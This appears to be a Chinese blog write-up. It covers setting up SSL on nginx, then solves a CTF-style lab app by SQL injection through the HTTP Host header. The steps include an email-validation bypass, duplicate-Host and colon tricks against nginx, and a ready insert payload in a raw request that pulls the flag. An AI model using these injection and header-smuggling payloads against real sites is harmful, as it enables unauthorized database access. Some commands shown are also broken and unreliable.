目录
一、nginx配置证书
1.生成一个ssl.key密钥
2.创建一个key的目录,并将ssl.key放入到key目录下
3.将ssl.key修改为xxx.key
4.创建ssl.key密钥
5.删除xxx.key
6.生成一个ssl.csr证书
7.给证书生成证书时长
8.启动nginx ,出现了下面的问题
9.主要问题是我们没编译ngx_http_ssl_module这个模块
10.进入到我们原先解压的安装包中
11.编译ssl_module
12.编译
13.关闭nginx
14.进入到nginx-1.24.0,将nginx启动模块在覆盖一边
15.配置nginx.conf文件
16.配置如下内容
17.重启nginx
18.在物理机的浏览器输入https://192.168.191.129
二、攻击LNMP架构的web应用的小技巧
1.nginx+php+mysql(php推荐5.6版本),上篇博客提到过怎么搭建
(1)上传文件到我们的/usr/local/nginx/html下
(2)配置nginx.conf
(3)配置config.php文件,输入mysql的用户和密码
(4)访问www.php.com
2.phpstudy面板搭建的配置
3.原理(sql的单引号逃逸)
4.先对邮箱进行一个绕过(0x03 FILTER_VALIDATE_EMAIL绕过)
5.绕过nginx的host头部的三种技巧
(1)Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host的值为2023.mhz.pw:xxx'"@example.com,这样就能访问到目标Server块:
(2)当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。
也就是说,如果我传入:
(3)在Burpsuite里修改协议为https,并指定好https的Host,也就是SNI。我们再修改HTTP数据包的Host头,就能正常访问目标后端了。
6.sql进行注入
三、LNMP构建入侵思路(自己的思路)
1.先通过查看代码发现$_server接前端的邮箱并没有进行限制特殊字符,我们可以通过这一点进行一个sql的注入
2.先对邮箱进行逃逸单引号,根据邮箱的结构分为local part和domain part两部分,而我们的domain part连接的是网址,所以没办法注入,但是我们的local part如果含有特殊字符,可以通过双引号将其包围比如(a'),最终是("a'")。而邮箱是用户名、Host、@三部分构成,所以我们可以这样构造,代码没对双引号进行过滤,所以用户名我们可以是"a,而我们的host为a'",最后构造成"aa'"@example.com就可以绕过邮箱,同时还带有单引号。
3.当我们利用burpsuit,修改用户名和host对我们的邮箱绕过后,提交后,发现他给我们报了404的问题,这是我们nginx在处理host的时候会将Host用冒号分割成hostname和port,port部分被丢,而我们构造的host没有hostname所以nginx不知到咋处理就出现了404,解决方法就是我们通过冒号(:)前面是我们访问的目标网站,后面构造成我们伪造的host,最后host被构造成(www.php.com:a'"@example.com),就让我们的mysql进行了报错,还有一种方法就是构造双host,比如(host:www.php.com host: a'"@example.com),其处理一样,将第一个访问后被nginx处理,第二个host会被我们的php接收。
4.进行注入,host头部为
Host: www.php.com
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@examle.com
完整的结果为 insert into users values('"a',abcdecdccd,'"a@ '),('t123',md5(12123),(select(flag)from(flages)))"@example.com')
第一个host为目标网址,第二个host的')是将前面用户密码进行闭合(用户名为"a,密码为123,邮箱为"@example),而('jiege',md5(12123),(select(flag)from(flags)))这个是用户名jiege,密码12123,邮箱是从flags拿出我们的flage,#是将我们多余的双引号进行注释掉,防止插入出现问题。
5.登陆我们插入的用户jiege,密码12123,之后就可以看到我们的flage。
openssl genrsa -des3 -out ssl.key 2096
mkdir key
mv ssl.key key/
cd key
mv ssl.key xxx.key
openssl rsa -in xxx.key -out ssl.key
rm xxx.key
openssl req -new -key ssl.key -out ssl.csr
openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key-out
cd /usr/local/nginx/sbin
./nginx -s reload
cd /usr/local/nginx-1.24.0/
./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module
make
cd /usr/local/nginx/sbin
./nginx -s stop
#如果报错根据问题继续解决
cd /usr/local/nginx-1.24.0/
cp obis/nginx /usr/local/nginx/sbin/
cd /usr/local/nginx/conf/
vim nginx.conf
#证书认证
rewrite ^(.*)$ https://192.168.191.129;
#证书认证
server {
listen 443 ssl;
server_name 192.168.191.129;ssl_certificate /root/key/ssl.crt;
ssl_certificate_key /root/key/ssl.key;#ssl_session_cache shared:SSL:1m;
ssl_session_timeout 5m;ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;location / {
root html;
index index.html index.htm;
}
}
cd /usr/local/nginx/sbin/
./nginx
server {
listen 80;
server_name www.php.com;
root /usr/local/nginx/html/pwnhub/web;
index index.php index.html;
access_log logs/host.access.log main;location / {
try_files $uri $uri/ /index.php;
}location ~ \.php$(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}}
date_default_timezone_set('PRC');
$config = array(
'rewrite' => array(
'/' => 'main/index',
),
'debug' => 1,
'mysql' => array(
'MYSQL_HOST' => 'localhost',
'MYSQL_PORT' => '3306',
'MYSQL_USER' => 'root',
'MYSQL_DB' => 'security',
'MYSQL_PASS' => 'root',
'MYSQL_CHARSET' => 'utf8mb4',
),
);
return $config;
server {
listen 80;
server_name www.php.com;
root "D:/phpstudy_pro/WWW/pwnhub/web";
index index.html index.php;
location / {
try_files $uri $uri/ /index.php;
autoindex on;
}
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
注意:fastcgi_pass 127.0.0.0:9000 端口要一致,其它配置一样。
在架构的lnmp的时候,首先对用户和密码通过$_REQUEST进行接入,也对特殊的字符进行了过滤和限制,但是在接前端的email的时候一般用$_SERVER进行接入,但是并为进行特殊字符进行限制,而且邮箱如果没有填写,则自动设置为”用户名@网站域名“。而网站的域名是从arg('HTTP_HOST')
中获取,也就是从$_REQUEST
或$_SERVER
中获取。因为$_SERVER
没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞。
function actionRegister(){
if ($_POST) {
$username = arg('username');
$password = arg('password');if (empty($username) || empty($password)) {
$this->error('Username or password is empty.');
}$email = arg('email');
if (empty($email)) {
$email = $username . '@' . arg('HTTP_HOST');
}if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$this->error('Email error.');
}$user = new User();
$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
if ($data) {
$this->error('This username is exists.');
}$ret = $user->create([
'username' => $username,
'password' => md5($password),
'email' => $email
]);
if ($ret) {
$_SESSION['user_id'] = $user->lastInsertId();
} else {
$this->error('Unknown error.');
}
}}
FILTER_VALIDATE_EMAIL
绕过)原理是邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:
(1)将特殊字符用\
转义,如Joe\'[email protected]
(2)或将local part包裹在双引号中,如"Joe'Blow"@example.com
(3)local part长度不超过64个字符
因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为"
,Host为aaa'"@example.com
,最后拼接出来的邮箱为"aaa'"@example.com
。这个含有单引号构成sql注入
2023.mhz.pw:xxx'"@example.com
,这样就能访问到目标Server块:Host: 2023.mhz.pw
Host: xxx'"@example.com
Nginx将认为Host为2023.mhz.pw
,并交给目标Server块处理;但PHP中使$_SERVER['HTTP_HOST']
取到的值却是xxx'"@example.com
。这样也可以绕过
我们通过阅读代码知道我们的flag在flags下,所以直接burpsuit进行注入
POST /main/register HTTP/1.1
Host: 2023.mhz.pw
Host: '),('t123',md5(12123),(select(flag)from(flags)))#"@a.com
Accept-Encoding: gzip, deflate
Accept: */*